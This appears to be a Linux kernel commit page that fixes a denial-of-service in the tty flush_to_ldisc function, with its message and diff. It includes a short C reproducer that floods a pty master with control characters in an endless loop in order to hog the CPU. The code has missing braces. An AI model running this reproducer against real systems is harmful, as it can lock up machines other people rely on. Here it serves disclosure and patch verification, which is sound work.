Commit e045fec4 authored by Jiri Olsa's avatar Jiri Olsa Committed by Greg Kroah-Hartman

tty: prevent DOS in the flush_to_ldisc

There's a small window inside the flush_to_ldisc function,
where the tty is unlocked and calling ldisc's receive_buf
function. If in this window new buffer is added to the tty,
the processing might never leave the flush_to_ldisc function.

This scenario will hog the cpu, causing other tty processing
starving, and making it impossible to interface the computer
via tty.

I was able to exploit this via pty interface by sending only
control characters to the master input, causing the flush_to_ldisc
to be scheduled, but never actually generate any output.

To reproduce, please run multiple instances of following code.

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
        int i, slave, master = getpt();
        char buf[8192];

        sprintf(buf, "%s", ptsname(master));

        slave = open(buf, O_RDWR);
        if (slave < 0) {
                perror("open slave failed");
                return 1;

        for(i = 0; i < sizeof(buf); i++)
                buf[i] = rand() % 32;

        while(1) {
                write(master, buf, sizeof(buf));

        return 0;

The attached patch (based on -next tree) fixes this by checking on the
tty buffer tail. Once it's reached, the current work is rescheduled
and another could run.
Signed-off-by: default avatarJiri Olsa <>
Cc: stable <>
Acked-by: default avatarAlan Cox <>
Signed-off-by: default avatarGreg Kroah-Hartman <>
parent c9bd9d01
......@@ -413,7 +413,8 @@ static void flush_to_ldisc(struct work_struct *work)
spin_lock_irqsave(&tty->buf.lock, flags);
if (!test_and_set_bit(TTY_FLUSHING, &tty->flags)) {
struct tty_buffer *head;
struct tty_buffer *head, *tail = tty->buf.tail;
int seen_tail = 0;
while ((head = tty->buf.head) != NULL) {
int count;
char *char_buf;
......@@ -423,6 +424,15 @@ static void flush_to_ldisc(struct work_struct *work)
if (!count) {
if (head->next == NULL)
There's a possibility tty might get new buffer
added during the unlock window below. We could
end up spinning in here forever hogging the CPU
completely. To avoid this let's have a rest each
time we processed the tail buffer.
if (tail == head)
seen_tail = 1;
tty->buf.head = head->next;
tty_buffer_free(tty, head);
......@@ -432,7 +442,7 @@ static void flush_to_ldisc(struct work_struct *work)
line discipline as we want to empty the queue */
if (test_bit(TTY_FLUSHPENDING, &tty->flags))
if (!tty->receive_room) {
if (!tty->receive_room || seen_tail) {
schedule_delayed_work(&tty->, 1);
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